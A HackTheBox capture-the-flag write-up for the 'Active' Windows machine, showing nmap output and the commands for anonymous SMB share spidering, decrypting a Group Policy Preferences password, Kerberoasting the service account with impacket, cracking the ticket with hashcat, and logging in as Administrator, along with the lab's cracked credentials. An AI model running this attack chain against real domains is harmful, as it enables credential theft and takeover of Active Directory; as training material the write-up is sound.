Retour aux write-ups

Write-up HackTheBox

Active

Récupération d'un mot de passe GPP dans un partage SMB accessible en lecture, puis Kerberoasting du compte de service pour atteindre l'administrateur du domaine.

  • SystèmeWindows
  • DifficultéEasy
  • Date03/2025

Hack The Box - Active#

  • gpp-password
  • Kerberoasting

Enumeration#

Capture d'écran

Nmap Scan#

bash
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-04 18:25 CET
Nmap scan report for active.htb (10.129.231.110)
Host is up (0.021s latency).
Not shown: 982 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-04 17:26:00Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=3/4%OT=53%CT=1%CU=43869%PV=Y%DS=2%DC=T%G=Y%TM=67C737F2
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=S%TS=7
OS:)SEQ(SP=103%GCD=1%ISR=109%TI=I%CI=I%II=I%SS=S%TS=7)SEQ(SP=106%GCD=1%ISR=
OS:10E%TI=I%CI=I%II=I%SS=S%TS=7)SEQ(SP=FA%GCD=1%ISR=100%TI=I%CI=I%II=I%SS=S
OS:%TS=7)SEQ(SP=FF%GCD=1%ISR=108%TI=I%CI=I%II=I%SS=S%TS=7)OPS(O1=M53CNW8ST1
OS:1%O2=M53CNW8ST11%O3=M53CNW8NNT11%O4=M53CNW8ST11%O5=M53CNW8ST11%O6=M53CST
OS:11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80
OS:%W=2000%O=M53CNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R
OS:=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)
OS:T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)I
OS:E(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-03-04T17:27:08
|_  start_date: 2025-03-04T10:38:49

TRACEROUTE (using port 5900/tcp)
HOP RTT      ADDRESS
1   20.21 ms 10.10.14.1
2   20.82 ms active.htb (10.129.231.110)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.26 seconds

GPP Password Extraction#

During enumeration of SMB shares, one folder was accessible with read permission:

Capture d'écran

The contents were downloaded and examined using:

bash
nxc smb $IP -u '' -p '' -M spider_plus -o SHARE=Replication DOWNLOAD_FLAG=True

This yielded an interesting file containing credentials:

Capture d'écran
bash
cat /tmp/nxc_hosted/nxc_spider_plus/10.129.231.110/Replication/active.htb/Policies/\{31B2F340-016D-11D2-945F-00C04FB984F9\}/MACHINE/Preferences/Groups/Groups.xml

The file reveals a GPP (Group Policy Preferences) password:

xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

Decryption is performed with gpp-decrypt:

bash
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
Capture d'écran
We now have valid credentials for the domain user SVC_TGS.
Capture d'écran

Kerberoasting#

Using the retrieved credentials:

bash
impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request 
Capture d'écran

Cracking the TGS Ticket#

bash
hashcat -a 0 -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

Password retrieved: Ticketmaster1968


Privilege Escalation#

Now authenticated as Administrator:

bash
smbclient //$IP/Users/ -U Administrator 

Techniques utilisées#

  • Kerberoasting Exploitation
  • Exploit SMB
  • AD enumeration
  • BloodHound
  • Netexec

Retour aux write-ups